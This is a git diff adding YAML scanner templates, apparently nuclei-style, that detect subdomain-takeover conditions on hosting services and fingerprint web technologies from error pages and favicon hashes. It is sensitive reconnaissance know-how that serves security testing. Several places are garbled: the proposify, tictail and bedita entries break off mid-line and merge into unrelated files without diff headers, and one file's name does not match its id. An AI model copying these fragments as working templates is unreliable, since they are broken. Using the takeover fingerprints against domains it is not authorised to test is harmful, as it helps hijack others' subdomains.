diff --git a/takeovers/jetbrains-takeover.yaml b/takeovers/jetbrains-takeover.yaml
new file mode 100644
index 0000000000..69d29867dd
--- /dev/null
+++ b/takeovers/jetbrains-takeover.yaml
@@ -0,0 +1,17 @@
+id: jetbrains-takeover
+
+info:
+ name: jetbrains takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ matchers:
+ - type: word
+ words:
+ - is not a registered InCloud YouTrack.
\ No newline at end of file
diff --git a/takeovers/kinsta-takeover.yaml b/takeovers/kinsta-takeover.yaml
new file mode 100644
index 0000000000..039280c2ef
--- /dev/null
+++ b/takeovers/kinsta-takeover.yaml
@@ -0,0 +1,18 @@
+id: kinsta-takeover
+
+info:
+ name: kinsta takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - No Site For Domain
\ No newline at end of file
diff --git a/takeovers/landingi-takeover.yaml b/takeovers/landingi-takeover.yaml
new file mode 100644
index 0000000000..2514cf4e17
--- /dev/null
+++ b/takeovers/landingi-takeover.yaml
@@ -0,0 +1,20 @@
+id: landingi-takeover
+
+info:
+ name: landingi takeover detection
+ author: pdteam
+ severity: info
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/117
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - It looks like you're lost
+ - The page you are looking for is not found
+ condition: and
\ No newline at end of file
diff --git a/takeovers/launchrock-takeover.yaml b/takeovers/launchrock-takeover.yaml
new file mode 100644
index 0000000000..b81478b063
--- /dev/null
+++ b/takeovers/launchrock-takeover.yaml
@@ -0,0 +1,18 @@
+id: launchrock-takeover
+
+info:
+ name: launchrock takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens to all of us.
\ No newline at end of file
diff --git a/takeovers/mashery-takeover.yaml b/takeovers/mashery-takeover.yaml
new file mode 100644
index 0000000000..e906c2cd01
--- /dev/null
+++ b/takeovers/mashery-takeover.yaml
@@ -0,0 +1,18 @@
+id: mashery-takeover
+
+info:
+ name: mashery takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Unrecognized domain
\ No newline at end of file
diff --git a/takeovers/medium-takeover.yaml b/takeovers/medium-takeover.yaml
new file mode 100644
index 0000000000..4303e7125a
--- /dev/null
+++ b/takeovers/medium-takeover.yaml
@@ -0,0 +1,20 @@
+id: medium-takeover
+
+info:
+ name: Medium Takeover Detection
+ author: rtcms
+ severity: info
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/206
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Oops! We couldn’t find that page
+ - Sorry about that
+ condition: and
diff --git a/takeovers/netlify-takeover.yaml b/takeovers/netlify-takeover.yaml
new file mode 100644
index 0000000000..58c0306995
--- /dev/null
+++ b/takeovers/netlify-takeover.yaml
@@ -0,0 +1,24 @@
+id: netlify-takeover
+
+info:
+ name: netlify takeover detection
+ author: 0xPrial,pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Not found - Request ID:"
+
+ - type: word
+ words:
+ - "Netlify"
+ part: header
\ No newline at end of file
diff --git a/takeovers/ngrok-takeover.yaml b/takeovers/ngrok-takeover.yaml
new file mode 100644
index 0000000000..fe7de54fd9
--- /dev/null
+++ b/takeovers/ngrok-takeover.yaml
@@ -0,0 +1,19 @@
+id: ngrok-takeover
+
+info:
+ name: ngrok takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - ngrok.io not found
+ - Tunnel *.ngrok.io not found
\ No newline at end of file
diff --git a/takeovers/pantheon-takeover.yaml b/takeovers/pantheon-takeover.yaml
new file mode 100644
index 0000000000..2f9438c074
--- /dev/null
+++ b/takeovers/pantheon-takeover.yaml
@@ -0,0 +1,18 @@
+id: pantheon-takeover
+
+info:
+ name: pantheon takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "The gods are wise, but do not know of the site which you seek."
\ No newline at end of file
diff --git a/takeovers/pingdom-takeover.yaml b/takeovers/pingdom-takeover.yaml
new file mode 100644
index 0000000000..fcc211e1b0
--- /dev/null
+++ b/takeovers/pingdom-takeover.yaml
@@ -0,0 +1,19 @@
+id: pingdom-takeover
+
+info:
+ name: pingdom takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Public Report Not Activated
+ - This public report page has not been activated by the user
\ No newline at end of file
diff --git a/takeovers/proposify-takeover.yaml b/takeovers/proposify-takeover.yaml
new file mode 100644
index 0000000000..cd5cf09224
--- /dev/null
+++ b/takeovers/proposify-takeover.yaml
@@ -0,0 +1,18 @@
+id: proposify-takeover
+
+info:
+ name: proposify takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - If you need immediate assistance, please contact The page you're looking for doesn't
- exist.
-
- - type: word
- name: aha
- words:
- - There is no portal here ... sending you back to Aha!
-
- - type: word
- name: anima
- words:
- - "If this is your website and you've just created it, try refreshing in a minute"
-
- - type: word
- name: aws-bucket
- words:
- - "The specified bucket does not exist"
-
- - type: word
- name: bigcartel
- words:
- - "
Oops! We couldn’t find that page. "
-
- - type: word
- name: bitbucket
- words:
- - The page you have requested does not exist
- - Repository not found
-
- - type: word
- name: brightcove
- words:
- - 'Error Code: 404
'
-
- - type: word
- name: campaignmonitor
- words:
- - "Trying to access your account? "
- - or
- - 404 Not FoundNo such app "
-
- - type: word
- name: hubspot
- words:
- - Domain not found
- - does not exist in our system
-
- - type: word
- name: intercom
- words:
- - This page is reserved for artistic dogs.
- - Uh oh. That page doesn’t exist.
-
- - type: word
- name: jazzhr
- words:
- - This account no longer active
-
- - type: word
- name: jetbrains
- words:
- - is not a registered InCloud YouTrack.
-
- - type: word
- name: kinsta
- words:
- - No Site For Domain
-
- - type: word
- name: landingi
- words:
- - It looks like you're lost
- - The page you are looking for is not found
-
- - type: word
- name: launchrock
- words:
- - It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
- to all of us.
-
- - type: word
- name: mashery
- words:
- - Unrecognized domain
-
- - type: word
- name: ngrok
- words:
- - ngrok.io not found
- - Tunnel *.ngrok.io not found
-
- - type: word
- name: pantheon.io
- words:
- - "The gods are wise, but do not know of the site which you seek."
-
- - type: word
- name: pingdom
- words:
- - Public Report Not Activated
- - This public report page has not been activated by the user
-
- - type: word
- name: proposify
- words:
- - If you need immediate assistance, please contact Error 404: Page Not Found"
-
- - type: word
- name: teamwork
- words:
- - Oops - We didn't find your site.
-
- - type: word
- name: tictail
- words:
- - Building a brand of your own?
- - 'to target URL: The page you are looking for doesn't exist or has been
- moved.
-
- - type: word
- name: wishpond
- words:
- - https://www.wishpond.com/404?campaign=true
-
- - type: word
- name: wordpress
- words:
- - Do you want to register
-
- - type: regex
- name: worksites
- regex:
- - "(?:Company Not Found|you’re looking for doesn’t exist)"
-
- - type: word
- name: wufoo
- words:
- - Profile not found
- - Hmmm....something is not right.
-
- - type: word
- name: zendesk
- words:
- - this help center no longer exists
-
- - type: word
- name: readthedocs
- words:
- - unknown to Read the Docs
-
- - type: word
- name: tilda
- words:
- - Please renew your subscription
- - Please go to the site settings and put the domain name in the Domain tab.
-
- - type: word
- name: smart-jobboard
- words:
- - This job board website is either expired or its domain name is invalid.
-
- - type: word
- name: netlify
- words:
- - "Not Found"
- - "server: Netlify"
- condition: and
- part: all
-
- - type: word
- name: vercel
- words:
- - The deployment could not be found on Vercel.
- - DEPLOYMENT_NOT_FOUND
- condition: and
\ No newline at end of file
diff --git a/takeovers/surveygizmo-takeover.yaml b/takeovers/surveygizmo-takeover.yaml
new file mode 100644
index 0000000000..effe1d1d4f
--- /dev/null
+++ b/takeovers/surveygizmo-takeover.yaml
@@ -0,0 +1,18 @@
+id: surveygizmo-takeover
+
+info:
+ name: surveygizmo takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - data-html-name
\ No newline at end of file
diff --git a/takeovers/tave-takeover.yaml b/takeovers/tave-takeover.yaml
new file mode 100644
index 0000000000..856340b2cf
--- /dev/null
+++ b/takeovers/tave-takeover.yaml
@@ -0,0 +1,18 @@
+id: tave-takeover
+
+info:
+ name: tave takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "Error 404: Page Not Found "
\ No newline at end of file
diff --git a/takeovers/teamwork-takeover.yaml b/takeovers/teamwork-takeover.yaml
new file mode 100644
index 0000000000..4bd80362a4
--- /dev/null
+++ b/takeovers/teamwork-takeover.yaml
@@ -0,0 +1,18 @@
+id: teamwork-takeover
+
+info:
+ name: teamwork takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Oops - We didn't find your site.
\ No newline at end of file
diff --git a/takeovers/tictail-takeover.yaml b/takeovers/tictail-takeover.yaml
new file mode 100644
index 0000000000..89c984e159
--- /dev/null
+++ b/takeovers/tictail-takeover.yaml
@@ -0,0 +1,20 @@
+id: tictail-takeover
+
+info:
+ name: tictail takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 'Building a brand of your own?'
+ - 'to target URL: Please renew your subscription"
+ negative: true
\ No newline at end of file
diff --git a/takeovers/tumblr-takeover.yaml b/takeovers/tumblr-takeover.yaml
new file mode 100644
index 0000000000..0206e1734e
--- /dev/null
+++ b/takeovers/tumblr-takeover.yaml
@@ -0,0 +1,20 @@
+id: tumblr-takeover
+
+info:
+ name: tumblr takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Whatever you were looking for doesn't currently exist at this address.
+ - There's nothing here.
+ condition: and
\ No newline at end of file
diff --git a/takeovers/uberflip-takeover.yaml b/takeovers/uberflip-takeover.yaml
new file mode 100644
index 0000000000..2d0a8e1d04
--- /dev/null
+++ b/takeovers/uberflip-takeover.yaml
@@ -0,0 +1,18 @@
+id: uberflip-takeover
+
+info:
+ name: uberflip takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "Non-hub domain, The URL you've accessed does not provide a hub."
\ No newline at end of file
diff --git a/takeovers/uptimerobot-takeover.yaml b/takeovers/uptimerobot-takeover.yaml
new file mode 100644
index 0000000000..3f13c6bead
--- /dev/null
+++ b/takeovers/uptimerobot-takeover.yaml
@@ -0,0 +1,18 @@
+id: uptimerobot-takeover
+
+info:
+ name: uptimerobot takeover detection
+ author: pdteam
+ severity: info
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: regex
+ regex:
+ - "^page not found$"
\ No newline at end of file
diff --git a/takeovers/urge-takeover.yaml b/takeovers/urge-takeover.yaml
new file mode 100644
index 0000000000..46534af654
--- /dev/null
+++ b/takeovers/urge-takeover.yaml
@@ -0,0 +1,18 @@
+id: surge-takeover
+
+info:
+ name: surge takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - project not found
\ No newline at end of file
diff --git a/takeovers/vend-takeover.yaml b/takeovers/vend-takeover.yaml
new file mode 100644
index 0000000000..5b6cf3bcaf
--- /dev/null
+++ b/takeovers/vend-takeover.yaml
@@ -0,0 +1,18 @@
+id: vend-takeover
+
+info:
+ name: vend takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Looks like you've traveled too far into cyberspace.
\ No newline at end of file
diff --git a/takeovers/vercel-takeover.yaml b/takeovers/vercel-takeover.yaml
new file mode 100644
index 0000000000..cf7dabfebd
--- /dev/null
+++ b/takeovers/vercel-takeover.yaml
@@ -0,0 +1,20 @@
+id: vercel-takeover
+
+info:
+ name: vercel takeover detection
+ author: pdteam
+ severity: info
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/183
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - The deployment could not be found on Vercel.
+ - DEPLOYMENT_NOT_FOUND
+ condition: and
\ No newline at end of file
diff --git a/takeovers/webflow-takeover.yaml b/takeovers/webflow-takeover.yaml
new file mode 100644
index 0000000000..da17c4a95f
--- /dev/null
+++ b/takeovers/webflow-takeover.yaml
@@ -0,0 +1,18 @@
+id: webflow-takeover
+
+info:
+ name: webflow takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - The page you are looking for doesn't exist or has been moved.
\ No newline at end of file
diff --git a/takeovers/wishpond-takeover.yaml b/takeovers/wishpond-takeover.yaml
new file mode 100644
index 0000000000..10b6648ade
--- /dev/null
+++ b/takeovers/wishpond-takeover.yaml
@@ -0,0 +1,18 @@
+id: wishpond-takeover
+
+info:
+ name: wishpond takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - https://www.wishpond.com/404?campaign=true
\ No newline at end of file
diff --git a/takeovers/wordpress-takeover.yaml b/takeovers/wordpress-takeover.yaml
new file mode 100644
index 0000000000..536222d6ef
--- /dev/null
+++ b/takeovers/wordpress-takeover.yaml
@@ -0,0 +1,26 @@
+id: wordpress-takeover
+
+info:
+ name: WordPress takeover detection
+ author: pdteam,geeknik
+ severity: high
+ tags: takeover,wordpress
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Do you want to register"
+ - ".wordpress.com doesn’t exist"
+ condition: and
+
+ - type: word
+ words:
+ - "cannot be registered"
+ negative: true
diff --git a/takeovers/worksites-takeover.yaml b/takeovers/worksites-takeover.yaml
new file mode 100644
index 0000000000..1c9d86e916
--- /dev/null
+++ b/takeovers/worksites-takeover.yaml
@@ -0,0 +1,18 @@
+id: worksites-takeover
+
+info:
+ name: worksites takeover detection
+ author: melbadry9
+ severity: high
+ tags: takeover
+ reference: https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: regex
+ regex:
+ - "(?:Company Not Found|you’re looking for doesn’t exist)"
diff --git a/takeovers/wufoo-takeover.yaml b/takeovers/wufoo-takeover.yaml
new file mode 100644
index 0000000000..eae61b2336
--- /dev/null
+++ b/takeovers/wufoo-takeover.yaml
@@ -0,0 +1,20 @@
+id: wufoo-takeover
+
+info:
+ name: wufoo takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Profile not found
+ - Hmmm....something is not right.
+ condition: and
\ No newline at end of file
diff --git a/takeovers/zendesk-takeover.yaml b/takeovers/zendesk-takeover.yaml
new file mode 100644
index 0000000000..13c5be4d12
--- /dev/null
+++ b/takeovers/zendesk-takeover.yaml
@@ -0,0 +1,18 @@
+id: zendesk-takeover
+
+info:
+ name: zendesk takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - this help center no longer exists
\ No newline at end of file
diff --git a/technologies/achecker-detect.yaml b/technologies/achecker-detect.yaml
new file mode 100644
index 0000000000..dd940e3eeb
--- /dev/null
+++ b/technologies/achecker-detect.yaml
@@ -0,0 +1,26 @@
+id: achecker-detect
+
+info:
+ name: AChecker Detect
+ author: princechaddha
+ severity: info
+ tags: tech,achecker
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/checker/login.php"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - ": Web Accessibility Checker"
+ - "AChecker - Copyright"
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/acontent-detect.yaml b/technologies/acontent-detect.yaml
new file mode 100644
index 0000000000..65bb5aebc2
--- /dev/null
+++ b/technologies/acontent-detect.yaml
@@ -0,0 +1,26 @@
+id: acontent-detect
+
+info:
+ name: AContent Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,acontent
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ redirects: true
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "AContent : Home "
+ - "AContent - Copyright 2010 by IDRC/IDI http://inclusivedesign.ca/"
+ condition: or
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/adobe-coldfusion-detector-error.yaml b/technologies/adobe-coldfusion-detector-error.yaml
new file mode 100644
index 0000000000..ef5d2b03b2
--- /dev/null
+++ b/technologies/adobe-coldfusion-detector-error.yaml
@@ -0,0 +1,25 @@
+id: adobe-coldfusion-detector-error
+
+info:
+ name: Adobe ColdFusion Detector
+ author: philippedelteil
+ severity: info
+ description: With this template we can detect a running ColdFusion instance due to an error page.
+ reference: https://twitter.com/PhilippeDelteil/status/1418622775829348358
+ tags: adobe,coldfusion
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/_something_.cfm"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'ColdFusion documentation'
+
+ - type: status
+ status:
+ - 404
diff --git a/technologies/aem-detection.yaml b/technologies/aem-detection.yaml
new file mode 100644
index 0000000000..85399c2790
--- /dev/null
+++ b/technologies/aem-detection.yaml
@@ -0,0 +1,26 @@
+id: aem-detection
+
+info:
+ name: Favicon based AEM Detection
+ severity: info
+ author: shifacyclewala,hackergautam
+ tags: aem,favicon,tech
+ reference: |
+ - https://twitter.com/brsn76945860/status/1171233054951501824
+ - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
+ - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
+ - https://github.com/devanshbatham/FavFreak
+ - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico"
+
+ redirects: true
+ max-redirects: 2
+
+ matchers:
+ - type: dsl
+ dsl:
+ - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))"
diff --git a/technologies/airflow-detect.yaml b/technologies/airflow-detect.yaml
new file mode 100644
index 0000000000..f2d6d97aa2
--- /dev/null
+++ b/technologies/airflow-detect.yaml
@@ -0,0 +1,24 @@
+id: airflow-detect
+
+info:
+ name: Apache Airflow
+ author: pdteam
+ severity: info
+ tags: tech,apache,airflow
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/{{randstr}}"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "Airflow 404 = lots of circles"
+
+ - type: status
+ status:
+ - 404
\ No newline at end of file
diff --git a/technologies/apache-detect.yaml b/technologies/apache-detect.yaml
index bc95103681..4db33ceb08 100644
--- a/technologies/apache-detect.yaml
+++ b/technologies/apache-detect.yaml
@@ -1,13 +1,16 @@
-id: apache-version-detect
+id: apache-detect
info:
- name: Apache Version
+ name: Apache Detection
author: philippedelteil
description: Some Apache servers have the version on the response header. The OpenSSL version can be also obtained
severity: info
+ tags: tech,apache
+
requests:
- method: GET
path:
- "{{BaseURL}}"
+
matchers-condition: and
matchers:
diff --git a/technologies/apache-guacamole.yaml b/technologies/apache-guacamole.yaml
new file mode 100644
index 0000000000..d5c7785ad8
--- /dev/null
+++ b/technologies/apache-guacamole.yaml
@@ -0,0 +1,28 @@
+id: apache-guacamole
+
+info:
+ name: Apache Guacamole Login Page and version detection
+ author: r3dg33k
+ severity: info
+ tags: apache,guacamole,tech
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/translations/en.json"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Apache Guacamole'
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '"VERSION":"[0-9]+\.2\.0"'
diff --git a/technologies/avantfax-detect.yaml b/technologies/avantfax-detect.yaml
new file mode 100644
index 0000000000..93d6b9317d
--- /dev/null
+++ b/technologies/avantfax-detect.yaml
@@ -0,0 +1,31 @@
+id: avantfax-detect
+
+info:
+ name: AvantFAX Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,avantfax
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "- AvantFAX - Login "
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ part: body
+ group: 1
+ regex:
+ - '([0-9.]+)<\/p>'
diff --git a/technologies/aws-bucket-service.yaml b/technologies/aws-bucket-service.yaml
new file mode 100644
index 0000000000..b3eacd8135
--- /dev/null
+++ b/technologies/aws-bucket-service.yaml
@@ -0,0 +1,29 @@
+id: aws-bucket-service
+
+info:
+ name: Detect websites using AWS bucket storage
+ author: pdteam
+ severity: info
+ tags: aws,tech
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: dsl
+ dsl:
+ - contains(tolower(all_headers), 'x-amz-bucket')
+ - contains(tolower(all_headers), 'x-amz-request')
+ - contains(tolower(all_headers), 'x-amz-id')
+ - contains(tolower(all_headers), 'AmazonS3')
+ part: header
+ condition: or
+
+ - type: dsl
+ dsl:
+ - contains(tolower(all_headers), 'x-guploader-uploadid')
+ part: header
+ negative: true
\ No newline at end of file
diff --git a/technologies/basic-auth-detection.yaml b/technologies/basic-auth-detection.yaml
index e784861b13..66132d212e 100644
--- a/technologies/basic-auth-detection.yaml
+++ b/technologies/basic-auth-detection.yaml
@@ -2,7 +2,7 @@ id: basic-auth-detection
info:
name: Basic auth detection
- author: "@w4cky_"
+ author: w4cky_
severity: info
requests:
diff --git a/technologies/bedita-detect.yaml b/technologies/bedita-detect.yaml
new file mode 100644
index 0000000000..fe6a5a8a6d
--- /dev/null
+++ b/technologies/bedita-detect.yaml
@@ -0,0 +1,25 @@
+id: bedita-detect
+
+info:
+ name: BEdita detect
+ author: pikpikcu
+ severity: info
+ tags: tech,bedita
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - 'BEdita(.*)
BigBlueButton "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/bolt-cms-detect.yaml b/technologies/bolt-cms-detect.yaml
new file mode 100644
index 0000000000..870ff9f428
--- /dev/null
+++ b/technologies/bolt-cms-detect.yaml
@@ -0,0 +1,33 @@
+id: bolt-cms-detect
+
+info:
+ name: bolt CMS detect
+ author: cyllective
+ severity: info
+ description: Detects bolt CMS
+ tags: tech,bolt,cms
+ references:
+ - https://github.com/bolt/bolt
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/bolt/login"
+
+ matchers:
+ - type: word
+ part: body
+ condition: or
+ words:
+ - ' '
diff --git a/technologies/dotclear-detect.yaml b/technologies/dotclear-detect.yaml
new file mode 100644
index 0000000000..7d622ff72a
--- /dev/null
+++ b/technologies/dotclear-detect.yaml
@@ -0,0 +1,22 @@
+id: dotclear-detect
+
+info:
+ name: Dotclear Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,dotclear
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/dc2/admin/auth.php"
+ - "{{BaseURL}}/auth.php"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Dotclear "
+ - type: status
+ status:
+ - 200
diff --git a/technologies/fanruanoa-detect.yaml b/technologies/fanruanoa-detect.yaml
new file mode 100644
index 0000000000..52ab6ec6ad
--- /dev/null
+++ b/technologies/fanruanoa-detect.yaml
@@ -0,0 +1,23 @@
+id: fanruanoa-detect
+
+info:
+ name: FanRuanOA-detect
+ author: YanYun
+ severity: info
+ tags: oa,tech,dotnet,fanruan
+
+requests:
+ - method: GET
+
+ path:
+ - "{{BaseURL}}/WebReport/ReportServer"
+ - "{{BaseURL}}/ReportServer"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - 'DeploySuccess._init'
\ No newline at end of file
diff --git a/technologies/fanruanoa2012-detect.yaml b/technologies/fanruanoa2012-detect.yaml
new file mode 100644
index 0000000000..d7db2b1c32
--- /dev/null
+++ b/technologies/fanruanoa2012-detect.yaml
@@ -0,0 +1,21 @@
+id: fanruanoa2012-detect
+
+info:
+ name: FanRuanOA2012-detect
+ author: YanYun
+ severity: info
+ tags: oa,java,fanruan,tech
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - 'down.download?FM_SYS_ID'
\ No newline at end of file
diff --git a/technologies/favicon-detection.yaml b/technologies/favicon-detection.yaml
index 624f917a05..8d657ebdde 100644
--- a/technologies/favicon-detection.yaml
+++ b/technologies/favicon-detection.yaml
@@ -24,2003 +24,2538 @@ requests:
name: proxmox
dsl:
- "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))"
+
- type: dsl
name: blogger
dsl:
- "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))"
+
- type: dsl
name: oracle
dsl:
- "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))"
+
- type: dsl
name: hitachi
dsl:
- "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))"
+
- type: dsl
name: meinberg
dsl:
- "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))"
+
- type: dsl
name: "slack-instance"
dsl:
- "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "spring-boot"
dsl:
- "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jenkins"
dsl:
- "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cnservers-llc"
dsl:
- "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "atlassian"
dsl:
- "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "chainpoint"
dsl:
- "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lacie"
dsl:
- "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "parse"
dsl:
